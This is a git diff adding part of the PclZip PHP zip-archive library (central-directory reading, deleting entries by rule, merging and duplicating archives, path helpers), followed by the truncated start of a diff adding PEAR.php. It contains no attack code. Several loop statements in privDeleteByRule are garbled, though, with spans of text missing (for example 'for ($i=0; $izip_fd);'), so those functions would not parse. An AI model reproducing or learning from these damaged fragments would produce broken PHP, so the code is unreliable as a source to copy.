-------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privCheckFileHeaders() + // Description : + // Parameters : + // Return Values : + // 1 on success, + // 0 on error; + // -------------------------------------------------------------------------------- + function privCheckFileHeaders(&$p_local_header, &$p_central_header) + { + $v_result=1; + + // ----- Check the static values + // TBC + if ($p_local_header['filename'] != $p_central_header['filename']) { + } + if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) { + } + if ($p_local_header['flag'] != $p_central_header['flag']) { + } + if ($p_local_header['compression'] != $p_central_header['compression']) { + } + if ($p_local_header['mtime'] != $p_central_header['mtime']) { + } + if ($p_local_header['filename_len'] != $p_central_header['filename_len']) { + } + + // ----- Look for flag bit 3 + if (($p_local_header['flag'] & 8) == 8) { + $p_local_header['size'] = $p_central_header['size']; + $p_local_header['compressed_size'] = $p_central_header['compressed_size']; + $p_local_header['crc'] = $p_central_header['crc']; + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privReadEndCentralDir() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privReadEndCentralDir(&$p_central_dir) + { + $v_result=1; + + // ----- Go to the end of the zip file + $v_size = filesize($this->zipname); + @fseek($this->zip_fd, $v_size); + if (@ftell($this->zip_fd) != $v_size) + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\''); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- First try : look if this is an archive with no commentaries (most of the time) + // in this case the end of central dir is at 22 bytes of the file end + $v_found = 0; + if ($v_size > 26) { + @fseek($this->zip_fd, $v_size-22); + if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22)) + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\''); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read for bytes + $v_binary_data = @fread($this->zip_fd, 4); + $v_data = @unpack('Vid', $v_binary_data); + + // ----- Check signature + if ($v_data['id'] == 0x06054b50) { + $v_found = 1; + } + + $v_pos = ftell($this->zip_fd); + } + + // ----- Go back to the maximum possible size of the Central Dir End Record + if (!$v_found) { + $v_maximum_size = 65557; // 0xFFFF + 22; + if ($v_maximum_size > $v_size) + $v_maximum_size = $v_size; + @fseek($this->zip_fd, $v_size-$v_maximum_size); + if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size)) + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\''); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read byte per byte in order to find the signature + $v_pos = ftell($this->zip_fd); + $v_bytes = 0x00000000; + while ($v_pos < $v_size) + { + // ----- Read a byte + $v_byte = @fread($this->zip_fd, 1); + + // ----- Add the byte + //$v_bytes = ($v_bytes << 8) | Ord($v_byte); + // Note we mask the old value down such that once shifted we can never end up with more than a 32bit number + // Otherwise on systems where we have 64bit integers the check below for the magic number will fail. + $v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte); + + // ----- Compare the bytes + if ($v_bytes == 0x504b0506) + { + $v_pos++; + break; + } + + $v_pos++; + } + + // ----- Look if not found end of central dir + if ($v_pos == $v_size) + { + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature"); + + // ----- Return + return PclZip::errorCode(); + } + } + + // ----- Read the first 18 bytes of the header + $v_binary_data = fread($this->zip_fd, 18); + + // ----- Look for invalid block size + if (strlen($v_binary_data) != 18) + { + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data)); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Extract the values + $v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data); + + // ----- Check the global size + if (($v_pos + $v_data['comment_size'] + 18) != $v_size) { + + // ----- Removed in release 2.2 see readme file + // The check of the file size is a little too strict. + // Some bugs where found when a zip is encrypted/decrypted with 'crypt'. + // While decrypted, zip has training 0 bytes + if (0) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, + 'The central dir is not at the end of the archive.' + .' Some trailing bytes exists after the archive.'); + + // ----- Return + return PclZip::errorCode(); + } + } + + // ----- Get comment + if ($v_data['comment_size'] != 0) { + $p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']); + } + else + $p_central_dir['comment'] = ''; + + $p_central_dir['entries'] = $v_data['entries']; + $p_central_dir['disk_entries'] = $v_data['disk_entries']; + $p_central_dir['offset'] = $v_data['offset']; + $p_central_dir['size'] = $v_data['size']; + $p_central_dir['disk'] = $v_data['disk']; + $p_central_dir['disk_start'] = $v_data['disk_start']; + + // TBC + //for(reset($p_central_dir); $key = key($p_central_dir); next($p_central_dir)) { + //} + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privDeleteByRule() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privDeleteByRule(&$p_result_list, &$p_options) + { + $v_result=1; + $v_list_detail = array(); + + // ----- Open the zip file + if (($v_result=$this->privOpenFd('rb')) != 1) + { + // ----- Return + return $v_result; + } + + // ----- Read the central directory informations + $v_central_dir = array(); + if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) + { + $this->privCloseFd(); + return $v_result; + } + + // ----- Go to beginning of File + @rewind($this->zip_fd); + + // ----- Scan all the files + // ----- Start at beginning of Central Dir + $v_pos_entry = $v_central_dir['offset']; + @rewind($this->zip_fd); + if (@fseek($this->zip_fd, $v_pos_entry)) + { + // ----- Close the zip file + $this->privCloseFd(); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read each entry + $v_header_list = array(); + $j_start = 0; + for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++) + { + + // ----- Read the file header + $v_header_list[$v_nb_extracted] = array(); + if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1) + { + // ----- Close the zip file + $this->privCloseFd(); + + return $v_result; + } + + + // ----- Store the index + $v_header_list[$v_nb_extracted]['index'] = $i; + + // ----- Look for the specific extract rules + $v_found = false; + + // ----- Look for extract by name rule + if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) + && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { + + // ----- Look if the filename is in the list + for ($j=0; ($j strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) + && (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { + $v_found = true; + } + elseif ( (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010) /* Indicates a folder */ + && ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) { + $v_found = true; + } + } + // ----- Look for a filename + elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { + $v_found = true; + } + } + } + + // ----- Look for extract by ereg rule + // ereg() is deprecated with PHP 5.3 + /* + else if ( (isset($p_options[PCLZIP_OPT_BY_EREG])) + && ($p_options[PCLZIP_OPT_BY_EREG] != "")) { + + if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header_list[$v_nb_extracted]['stored_filename'])) { + $v_found = true; + } + } + */ + + // ----- Look for extract by preg rule + else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) + && ($p_options[PCLZIP_OPT_BY_PREG] != "")) { + + if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) { + $v_found = true; + } + } + + // ----- Look for extract by index rule + else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) + && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { + + // ----- Look if the index is in the list + for ($j=$j_start; ($j=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) { + $v_found = true; + } + if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) { + $j_start = $j+1; + } + + if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) { + break; + } + } + } + else { + $v_found = true; + } + + // ----- Look for deletion + if ($v_found) + { + unset($v_header_list[$v_nb_extracted]); + } + else + { + $v_nb_extracted++; + } + } + + // ----- Look if something need to be deleted + if ($v_nb_extracted > 0) { + + // ----- Creates a temporay file + $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; + + // ----- Creates a temporary zip archive + $v_temp_zip = new PclZip($v_zip_temp_name); + + // ----- Open the temporary zip file in write mode + if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) { + $this->privCloseFd(); + + // ----- Return + return $v_result; + } + + // ----- Look which file need to be kept + for ($i=0; $izip_fd); + if (@fseek($this->zip_fd, $v_header_list[$i]['offset'])) { + // ----- Close the zip file + $this->privCloseFd(); + $v_temp_zip->privCloseFd(); + @unlink($v_zip_temp_name); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read the file header + $v_local_header = array(); + if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) { + // ----- Close the zip file + $this->privCloseFd(); + $v_temp_zip->privCloseFd(); + @unlink($v_zip_temp_name); + + // ----- Return + return $v_result; + } + + // ----- Check that local file header is same as central file header + if ($this->privCheckFileHeaders($v_local_header, + $v_header_list[$i]) != 1) { + // TBC + } + unset($v_local_header); + + // ----- Write the file header + if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) { + // ----- Close the zip file + $this->privCloseFd(); + $v_temp_zip->privCloseFd(); + @unlink($v_zip_temp_name); + + // ----- Return + return $v_result; + } + + // ----- Read/write the data block + if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) { + // ----- Close the zip file + $this->privCloseFd(); + $v_temp_zip->privCloseFd(); + @unlink($v_zip_temp_name); + + // ----- Return + return $v_result; + } + } + + // ----- Store the offset of the central dir + $v_offset = @ftell($v_temp_zip->zip_fd); + + // ----- Re-Create the Central Dir files header + for ($i=0; $iprivWriteCentralFileHeader($v_header_list[$i])) != 1) { + $v_temp_zip->privCloseFd(); + $this->privCloseFd(); + @unlink($v_zip_temp_name); + + // ----- Return + return $v_result; + } + + // ----- Transform the header to a 'usable' info + $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); + } + + + // ----- Zip file comment + $v_comment = ''; + if (isset($p_options[PCLZIP_OPT_COMMENT])) { + $v_comment = $p_options[PCLZIP_OPT_COMMENT]; + } + + // ----- Calculate the size of the central header + $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset; + + // ----- Create the central dir footer + if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) { + // ----- Reset the file list + unset($v_header_list); + $v_temp_zip->privCloseFd(); + $this->privCloseFd(); + @unlink($v_zip_temp_name); + + // ----- Return + return $v_result; + } + + // ----- Close + $v_temp_zip->privCloseFd(); + $this->privCloseFd(); + + // ----- Delete the zip file + // TBC : I should test the result ... + @unlink($this->zipname); + + // ----- Rename the temporary file + // TBC : I should test the result ... + //@rename($v_zip_temp_name, $this->zipname); + PclZipUtilRename($v_zip_temp_name, $this->zipname); + + // ----- Destroy the temporary archive + unset($v_temp_zip); + } + + // ----- Remove every files : reset the file + else if ($v_central_dir['entries'] != 0) { + $this->privCloseFd(); + + if (($v_result = $this->privOpenFd('wb')) != 1) { + return $v_result; + } + + if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) { + return $v_result; + } + + $this->privCloseFd(); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privDirCheck() + // Description : + // Check if a directory exists, if not it creates it and all the parents directory + // which may be useful. + // Parameters : + // $p_dir : Directory path to check. + // Return Values : + // 1 : OK + // -1 : Unable to create directory + // -------------------------------------------------------------------------------- + function privDirCheck($p_dir, $p_is_dir=false) + { + $v_result = 1; + + + // ----- Remove the final '/' + if (($p_is_dir) && (substr($p_dir, -1)=='/')) + { + $p_dir = substr($p_dir, 0, strlen($p_dir)-1); + } + + // ----- Check the directory availability + if ((is_dir($p_dir)) || ($p_dir == "")) + { + return 1; + } + + // ----- Extract parent directory + $p_parent_dir = dirname($p_dir); + + // ----- Just a check + if ($p_parent_dir != $p_dir) + { + // ----- Look for parent directory + if ($p_parent_dir != "") + { + if (($v_result = $this->privDirCheck($p_parent_dir)) != 1) + { + return $v_result; + } + } + } + + // ----- Create the directory + if (!@mkdir($p_dir, 0777)) + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privMerge() + // Description : + // If $p_archive_to_add does not exist, the function exit with a success result. + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privMerge(&$p_archive_to_add) + { + $v_result=1; + + // ----- Look if the archive_to_add exists + if (!is_file($p_archive_to_add->zipname)) + { + + // ----- Nothing to merge, so merge is a success + $v_result = 1; + + // ----- Return + return $v_result; + } + + // ----- Look if the archive exists + if (!is_file($this->zipname)) + { + + // ----- Do a duplicate + $v_result = $this->privDuplicate($p_archive_to_add->zipname); + + // ----- Return + return $v_result; + } + + // ----- Open the zip file + if (($v_result=$this->privOpenFd('rb')) != 1) + { + // ----- Return + return $v_result; + } + + // ----- Read the central directory informations + $v_central_dir = array(); + if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) + { + $this->privCloseFd(); + return $v_result; + } + + // ----- Go to beginning of File + @rewind($this->zip_fd); + + // ----- Open the archive_to_add file + if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1) + { + $this->privCloseFd(); + + // ----- Return + return $v_result; + } + + // ----- Read the central directory informations + $v_central_dir_to_add = array(); + if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1) + { + $this->privCloseFd(); + $p_archive_to_add->privCloseFd(); + + return $v_result; + } + + // ----- Go to beginning of File + @rewind($p_archive_to_add->zip_fd); + + // ----- Creates a temporay file + $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; + + // ----- Open the temporary file in write mode + if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0) + { + $this->privCloseFd(); + $p_archive_to_add->privCloseFd(); + + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Copy the files from the archive to the temporary file + // TBC : Here I should better append the file and go back to erase the central dir + $v_size = $v_central_dir['offset']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = fread($this->zip_fd, $v_read_size); + @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Copy the files from the archive_to_add into the temporary file + $v_size = $v_central_dir_to_add['offset']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size); + @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Store the offset of the central dir + $v_offset = @ftell($v_zip_temp_fd); + + // ----- Copy the block of file headers from the old archive + $v_size = $v_central_dir['size']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($this->zip_fd, $v_read_size); + @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Copy the block of file headers from the archive_to_add + $v_size = $v_central_dir_to_add['size']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size); + @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Merge the file comments + $v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment']; + + // ----- Calculate the size of the (new) central header + $v_size = @ftell($v_zip_temp_fd)-$v_offset; + + // ----- Swap the file descriptor + // Here is a trick : I swap the temporary fd with the zip fd, in order to use + // the following methods on the temporary fil and not the real archive fd + $v_swap = $this->zip_fd; + $this->zip_fd = $v_zip_temp_fd; + $v_zip_temp_fd = $v_swap; + + // ----- Create the central dir footer + if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1) + { + $this->privCloseFd(); + $p_archive_to_add->privCloseFd(); + @fclose($v_zip_temp_fd); + $this->zip_fd = null; + + // ----- Reset the file list + unset($v_header_list); + + // ----- Return + return $v_result; + } + + // ----- Swap back the file descriptor + $v_swap = $this->zip_fd; + $this->zip_fd = $v_zip_temp_fd; + $v_zip_temp_fd = $v_swap; + + // ----- Close + $this->privCloseFd(); + $p_archive_to_add->privCloseFd(); + + // ----- Close the temporary file + @fclose($v_zip_temp_fd); + + // ----- Delete the zip file + // TBC : I should test the result ... + @unlink($this->zipname); + + // ----- Rename the temporary file + // TBC : I should test the result ... + //@rename($v_zip_temp_name, $this->zipname); + PclZipUtilRename($v_zip_temp_name, $this->zipname); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privDuplicate() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privDuplicate($p_archive_filename) + { + $v_result=1; + + // ----- Look if the $p_archive_filename exists + if (!is_file($p_archive_filename)) + { + + // ----- Nothing to duplicate, so duplicate is a success. + $v_result = 1; + + // ----- Return + return $v_result; + } + + // ----- Open the zip file + if (($v_result=$this->privOpenFd('wb')) != 1) + { + // ----- Return + return $v_result; + } + + // ----- Open the temporary file in write mode + if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0) + { + $this->privCloseFd(); + + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Copy the files from the archive to the temporary file + // TBC : Here I should better append the file and go back to erase the central dir + $v_size = filesize($p_archive_filename); + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = fread($v_zip_temp_fd, $v_read_size); + @fwrite($this->zip_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Close + $this->privCloseFd(); + + // ----- Close the temporary file + @fclose($v_zip_temp_fd); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privErrorLog() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function privErrorLog($p_error_code=0, $p_error_string='') + { + if (PCLZIP_ERROR_EXTERNAL == 1) { + PclError($p_error_code, $p_error_string); + } + else { + $this->error_code = $p_error_code; + $this->error_string = $p_error_string; + } + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privErrorReset() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function privErrorReset() + { + if (PCLZIP_ERROR_EXTERNAL == 1) { + PclErrorReset(); + } + else { + $this->error_code = 0; + $this->error_string = ''; + } + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privDisableMagicQuotes() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privDisableMagicQuotes() + { + $v_result=1; + + // ----- Look if function exists + if ( (!function_exists("get_magic_quotes_runtime")) + || (!function_exists("set_magic_quotes_runtime"))) { + return $v_result; + } + + // ----- Look if already done + if ($this->magic_quotes_status != -1) { + return $v_result; + } + + // ----- Get and memorize the magic_quote value + $this->magic_quotes_status = @get_magic_quotes_runtime(); + + // ----- Disable magic_quotes + if ($this->magic_quotes_status == 1) { + @set_magic_quotes_runtime(0); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privSwapBackMagicQuotes() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privSwapBackMagicQuotes() + { + $v_result=1; + + // ----- Look if function exists + if ( (!function_exists("get_magic_quotes_runtime")) + || (!function_exists("set_magic_quotes_runtime"))) { + return $v_result; + } + + // ----- Look if something to do + if ($this->magic_quotes_status != -1) { + return $v_result; + } + + // ----- Swap back magic_quotes + if ($this->magic_quotes_status == 1) { + @set_magic_quotes_runtime($this->magic_quotes_status); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + } + // End of class + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclZipUtilPathReduction() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function PclZipUtilPathReduction($p_dir) + { + $v_result = ""; + + // ----- Look for not empty path + if ($p_dir != "") { + // ----- Explode path by directory names + $v_list = explode("/", $p_dir); + + // ----- Study directories from last to first + $v_skip = 0; + for ($i=sizeof($v_list)-1; $i>=0; $i--) { + // ----- Look for current path + if ($v_list[$i] == ".") { + // ----- Ignore this directory + // Should be the first $i=0, but no check is done + } + else if ($v_list[$i] == "..") { + $v_skip++; + } + else if ($v_list[$i] == "") { + // ----- First '/' i.e. root slash + if ($i == 0) { + $v_result = "/".$v_result; + if ($v_skip > 0) { + // ----- It is an invalid path, so the path is not modified + // TBC + $v_result = $p_dir; + $v_skip = 0; + } + } + // ----- Last '/' i.e. indicates a directory + else if ($i == (sizeof($v_list)-1)) { + $v_result = $v_list[$i]; + } + // ----- Double '/' inside the path + else { + // ----- Ignore only the double '//' in path, + // but not the first and last '/' + } + } + else { + // ----- Look for item to skip + if ($v_skip > 0) { + $v_skip--; + } + else { + $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:""); + } + } + } + + // ----- Look for skip + if ($v_skip > 0) { + while ($v_skip > 0) { + $v_result = '../'.$v_result; + $v_skip--; + } + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclZipUtilPathInclusion() + // Description : + // This function indicates if the path $p_path is under the $p_dir tree. Or, + // said in an other way, if the file or sub-dir $p_path is inside the dir + // $p_dir. + // The function indicates also if the path is exactly the same as the dir. + // This function supports path with duplicated '/' like '//', but does not + // support '.' or '..' statements. + // Parameters : + // Return Values : + // 0 if $p_path is not inside directory $p_dir + // 1 if $p_path is inside directory $p_dir + // 2 if $p_path is exactly the same as $p_dir + // -------------------------------------------------------------------------------- + function PclZipUtilPathInclusion($p_dir, $p_path) + { + $v_result = 1; + + // ----- Look for path beginning by ./ + if ( ($p_dir == '.') + || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) { + $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1); + } + if ( ($p_path == '.') + || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) { + $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1); + } + + // ----- Explode dir and path by directory separator + $v_list_dir = explode("/", $p_dir); + $v_list_dir_size = sizeof($v_list_dir); + $v_list_path = explode("/", $p_path); + $v_list_path_size = sizeof($v_list_path); + + // ----- Study directories paths + $i = 0; + $j = 0; + while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) { + + // ----- Look for empty dir (path reduction) + if ($v_list_dir[$i] == '') { + $i++; + continue; + } + if ($v_list_path[$j] == '') { + $j++; + continue; + } + + // ----- Compare the items + if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != '')) { + $v_result = 0; + } + + // ----- Next items + $i++; + $j++; + } + + // ----- Look if everything seems to be the same + if ($v_result) { + // ----- Skip all the empty items + while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++; + while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++; + + if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) { + // ----- There are exactly the same + $v_result = 2; + } + else if ($i < $v_list_dir_size) { + // ----- The path is shorter than the dir + $v_result = 0; + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclZipUtilCopyBlock() + // Description : + // Parameters : + // $p_mode : read/write compression mode + // 0 : src & dest normal + // 1 : src gzip, dest normal + // 2 : src normal, dest gzip + // 3 : src & dest gzip + // Return Values : + // -------------------------------------------------------------------------------- + function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0) + { + $v_result = 1; + + if ($p_mode==0) + { + while ($p_size != 0) + { + $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($p_src, $v_read_size); + @fwrite($p_dest, $v_buffer, $v_read_size); + $p_size -= $v_read_size; + } + } + else if ($p_mode==1) + { + while ($p_size != 0) + { + $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @gzread($p_src, $v_read_size); + @fwrite($p_dest, $v_buffer, $v_read_size); + $p_size -= $v_read_size; + } + } + else if ($p_mode==2) + { + while ($p_size != 0) + { + $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($p_src, $v_read_size); + @gzwrite($p_dest, $v_buffer, $v_read_size); + $p_size -= $v_read_size; + } + } + else if ($p_mode==3) + { + while ($p_size != 0) + { + $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @gzread($p_src, $v_read_size); + @gzwrite($p_dest, $v_buffer, $v_read_size); + $p_size -= $v_read_size; + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclZipUtilRename() + // Description : + // This function tries to do a simple rename() function. If it fails, it + // tries to copy the $p_src file in a new $p_dest file and then unlink the + // first one. + // Parameters : + // $p_src : Old filename + // $p_dest : New filename + // Return Values : + // 1 on success, 0 on failure. + // -------------------------------------------------------------------------------- + function PclZipUtilRename($p_src, $p_dest) + { + $v_result = 1; + + // ----- Try to rename the files + if (!@rename($p_src, $p_dest)) { + + // ----- Try to copy & unlink the src + if (!@copy($p_src, $p_dest)) { + $v_result = 0; + } + else if (!@unlink($p_src)) { + $v_result = 0; + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclZipUtilOptionText() + // Description : + // Translate option value in text. Mainly for debug purpose. + // Parameters : + // $p_option : the option value. + // Return Values : + // The option text value. + // -------------------------------------------------------------------------------- + function PclZipUtilOptionText($p_option) + { + + $v_list = get_defined_constants(); + for (reset($v_list); $v_key = key($v_list); next($v_list)) { + $v_prefix = substr($v_key, 0, 10); + if (( ($v_prefix == 'PCLZIP_OPT') + || ($v_prefix == 'PCLZIP_CB_') + || ($v_prefix == 'PCLZIP_ATT')) + && ($v_list[$v_key] == $p_option)) { + return $v_key; + } + } + + $v_result = 'Unknown'; + + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclZipUtilTranslateWinPath() + // Description : + // Translate windows path by replacing '\' by '/' and optionally removing + // drive letter. + // Parameters : + // $p_path : path to translate. + // $p_remove_disk_letter : true | false + // Return Values : + // The path translated. + // -------------------------------------------------------------------------------- + function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true) + { + if (stristr(php_uname(), 'windows')) { + // ----- Look for potential disk letter + if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) { + $p_path = substr($p_path, $v_position+1); + } + // ----- Change potential windows directory separator + if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) { + $p_path = strtr($p_path, '\\', '/'); + } + } + return $p_path; + } + // -------------------------------------------------------------------------------- + + +?> diff --git a/tools/pear/PEAR.php b/tools/pear/PEAR.php new file mode 100755 index 0000000..fad7d23 --- /dev/null +++ b/tools/pear/PEAR.php @@ -0,0 +1,1410 @@ + + * @author Stig Bakken + * @author Tomas V.V.Cox + * @author Greg Beaver + * @copyright 1997-2006 The PHP Group + * @license http://www.php.net/license/3_0.txt PHP License 3.0 + * @version CVS: $Id: PEAR.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link 